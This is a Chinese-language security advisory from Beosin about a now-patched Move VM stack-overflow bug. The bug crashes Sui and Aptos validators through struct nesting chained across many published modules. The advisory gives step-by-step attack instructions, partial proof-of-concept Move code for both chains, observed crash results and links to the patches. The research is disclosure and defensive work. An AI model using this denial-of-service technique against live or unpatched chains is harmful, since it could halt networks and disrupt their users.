Beosin发现Move VM严重级别漏洞：可导致 Sui、Aptos 等公链全网崩溃，甚至可能硬分叉

*本文作者：Beosin安全专家Poet

目前该漏洞已被官方修复。Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move语言2023年6月10日之后的版本修复了此漏洞。

前言

Move是一个新的区块链语言，被Aptos、Sui等公链使用。近期我们Beosin 安全研究团队发现了一个递归调用导致的栈溢出漏洞，这个漏洞可以导致整个网络崩溃（total network shutdown），还会导致新的validator无法加入到网络中，甚至可能会导致硬分叉！

我们在发现并验证这个漏洞后，第一时间（ 2023 年5 月 30 日）通过邮件与Sui 团队取得联系，随后在他们的建议下，将漏洞提交到了 Immunefi 漏洞赏金平台（ 2023 年6 月 2 日）。

Beosin团队5 月 30 日已联系Sui团队

不过在我们提交漏洞之后，官方团队回复称他们于一个月前内部发现了该问题，并在秘密进行安全修复，并于我们提交immunefi的当天发布了修复版本（ 2023 年6 月 2 日）。我们理解并尊重他们的回复。

当前版本该漏洞已修复，所以我们现在公开我们的研究发现。作为区块链安全行业的领先者，我们持续关注区块链生态的安全。

知识前提

Move虚拟机是由Rust语言编写实现。Move 代码组织（和分发）的主要单位是Package。Package由一组module组成，这些module定义在单独的文件中，扩展名为 .move。这些文件包括 Move 函数和类型定义。

最小包源目录结构如下所示，包含清单文件、锁定文件和一个或多个模块文件所在的 sources 子目录：

my_move_package：

    ├── Move.lock

    ├── Move.toml

    ├── sources

        ├── my_module.move

Package可以被Publish到区块链上。一个Package可以包含多个Module，一个Module可以包含多个函数、结构体。

函数的参数可以是结构体，结构体可以内嵌其他结构体，如下所示：

module helloworld::hello {
    struct CCC { 
        c : u64
    }
}

module my_module::my_module{
    struct BBB {
        b : helloworld::hello::CCC
    }

    struct AAA { 
        a : BBB
    }

    public fun mint( c_param : helloworld::hello::CCC ){
        let a1 = AAA {
            a : BBB {
                b : c_param
            }
        };

        let a2 = AAA {
            a : BBB {
                b : helloworld::hello::CCC {
                    c : 0x555
                }
            }
        };
    }
}

在Rust编程语言里面，递归函数调用的时候，如果没有限制调用深度，会导致栈溢出或者cpu、内存等资源的耗尽。Move 虚拟机正是由 Rust 语言编写。

漏洞描述

在Move虚拟机里面，为了处理各种结构化数据（比如序列化数据、结构体嵌套、数组嵌套、泛型嵌套），经常会用到递归函数。为了防止由于递归调用导致的栈溢出，需要对递归调用的深度进行检查。如下所示：

上面的图片是Move虚拟机限制简单和复杂类型结构的解析深度

上面的图片是Move虚拟机对字节码里面SIGNATURE_TOKEN深度的限制。

尽管Move虚拟机在很多地方都有递归调用深度检查，但是它仍然有某些情况没有考虑到。

我们现在考虑一种攻击方式：定义一个struct A，然后A嵌套struct B，然后B嵌套struct C....这样一直嵌套下去，如果Move虚拟机是用一个递归函数来处理这种嵌套关系，那么Move虚拟机会因为栈溢出或者资源不足而崩溃。尽管Move对每个module可以定义的struct数量有限制，但是我们可以创建无数个module。

这样我们就有了攻击思路：

1、生成25个（完全可以比25多）package，每个package包含1个module

2、每个module里面定义64个（Aptos里面可以比64多）有链式嵌套关系的struct，每个module里的第一个struct，嵌套上一个module里面的最后一个struct。

3、每个module里面包含一个可调用的entry函数。这个函数接受一个参数，这个参数类型是上一个module的最后一个struct（第64个struct）。这个函数创建并返回本module的最后一个struct实例（第64个struct）

4、按照顺序publish每个package

5、按照顺序调用每个module里面的entry函数

针对Sui mainnet_v1.1.1_，我们测试后发现如下现象（我们的测试环境有4个validator）：

1、运行一次poc之后，4个validator会因为栈溢出马上崩溃

2、至少3个validator崩溃重启后，所有的fullnode会崩溃

3、至少3个validator崩溃重启后，新的validator加入时会崩溃至少1次

4、至少3个validator崩溃重启后，新的fullnode加入时有时候会崩溃1次

5、如果运气好的话，某些validator、fullnode崩溃后无法重启，只有删除本地所有数据库，才能重启

针对Sui mainnet_v1.2.0，我们测试后发现如下现象（我们的测试环境有4个validator）：

1、运行一次poc之后，至少有1个validator会因为栈溢出或者out of memory而崩溃；

2、再次运行一次poc，可以让第2个validator崩溃。然后整个网络无法接受新的交易；

3、崩溃后的validator有可能无法重启。删除这个validator的所有本地数据库，然后运行它，它会在一段时间后崩溃，而且再也无法重启；

4、新的validator加入网络的时候，会崩溃。

 我们简单测试了Aptos，发现Aptos也会崩溃：

PoC

Sui链的PoC

module hello_world_2::hello{
   use std::string;
   use sui::object::{Self, UID};
   use sui::transfer;
   use sui::tx_context::{Self, TxContext};

    struct T_0  has key,store{ 
        id : UID,
        m : hello_world_1::hello::T_63
    }
    struct T_1 has key,store{ 
        id : UID,
        m : T_0 
    }

........other not printed.........

    struct T_62 has key,store{ 
        id : UID,
        m : T_61 
    }
    struct T_63 has key,store{ 
        id : UID,
        m : T_62 
    }
    public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) {
        let object = T_63{
        id: object::new(ctx),
        m : T_62{
        id: object::new(ctx),
        m : T_61{
        id: object::new(ctx),

........other not printed.........

        m : T_1{
        id: object::new(ctx),
        m : T_0{
        id: object::new(ctx),
        m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
        transfer::transfer(object, tx_context::sender(ctx));
    }
}

每创建一个这样的module，就Publish到Sui链上，并调用mint函数，获取它创建的"object"，同时将"object"作为参数传递给下一个module的mint函数，直到Sui节点崩溃

Aptos链的PoC

module Test2::test_module2{  
  struct Struct0  has key,store,drop {
    m : Test1::test_module1::Struct200
  }
  struct Struct1  has key,store,drop{
    m : Struct0 
  }
  
........other not printed.........

    struct Struct199  has key,store,drop{
    m : Struct198 
  }
        
    struct Struct200  has key,store,drop{
    m : Struct199 
  }
        
  public entry fun mint(_account : signer){
        let previous0 = 5554444;
    let previous1 = Test0::test_module0::test_function(previous0);
    let previous2 = Test1::test_module1::test_function(previous1);
    let _current = test_function(previous2);
  }
  public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{
    let object = Struct200{
        m:Struct199{
........other not printed.........
        m:Struct1{
        m:Struct0{
        m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}};
    object
  }
}

每创建一个这样的module，就Publish到Aptos链上，并调用mint函数，直到Aptos节点崩溃。

漏洞修复

Sui mainnet_v1.2.1（2023年6月2号）、Aptos mainnet_v1.4.3（2023年6月3号）、Move语言2023年6月10日之后的版本修复了此漏洞。

Sui补丁代码：

https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b

补丁代码在创建struct、vec、generic的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

Aptos补丁代码：

https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e3

5d986963

和Sui一样，补丁代码在创建struct、vec、generic的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

Move语言补丁代码：

https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2

和Sui、Aptos一样，补丁代码在创建struct、vec、generic的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。

漏洞影响

这个漏洞利用非常简单，而且一次攻击消耗的gas也非常小。但是该漏洞的影响非常大，可以导致整个网络崩溃（total network shutdown），还会让新的validator无法加入到网络中，甚至可能导致硬分叉（hard fork）。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3、Move-language6月10日之前的版本都受此漏洞影响。

为什么这个漏洞有可能会导致硬分叉？

1、恶意攻击者可以创建任意深度的结构体嵌套关系，并将这些恶意struct部署到链上。然后针对这些结构体发送一些不可改变的恶意交易，虽然这个过程中可能会导致网络崩溃，但是部分恶意交易还是会被已经被部署到链上了。

2、为了修补这个漏洞，我们可以限制递归调用的深度。但是这样我们就再也无法引用已经部署到区块链上的的恶意结构体，也无法在虚拟机里面验证与恶意struct相关的历史交易。只有硬分叉才能解决这种问题。

3、由于导致硬分叉的测试对现行网络影响过于严重，我们放弃了该测试，但理论上我们认为可行。

总结

一个小小的递归函数调用，就导致栈溢出，而栈溢出又导致整个网络崩溃（total network shutdown），再利用一些攻击手段，很可能使区块链产生硬分叉。所以，区块链的安全是永远排在第一位的。我们建议项目方要多注意这种类型的漏洞，最好是找专业的区块链安全机构进行全面的审计。

Beosin作为一家全球领先的区块链安全公司，在全球10多个国家和地区设立了分部，业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务，目前已为全球3000多个区块链企业提供安全技术服务，审计智能合约超过3000份，同时，Beosin也提供上币项目的安全评估以及提供符合各地监管要求的合规评估、VaaS自动化上币审计服务、交易所渗透服务、交易所安全建设咨询服务等安全解决方案。欢迎点击公众号留言框，与我们联系。

 近期热点文章阅读：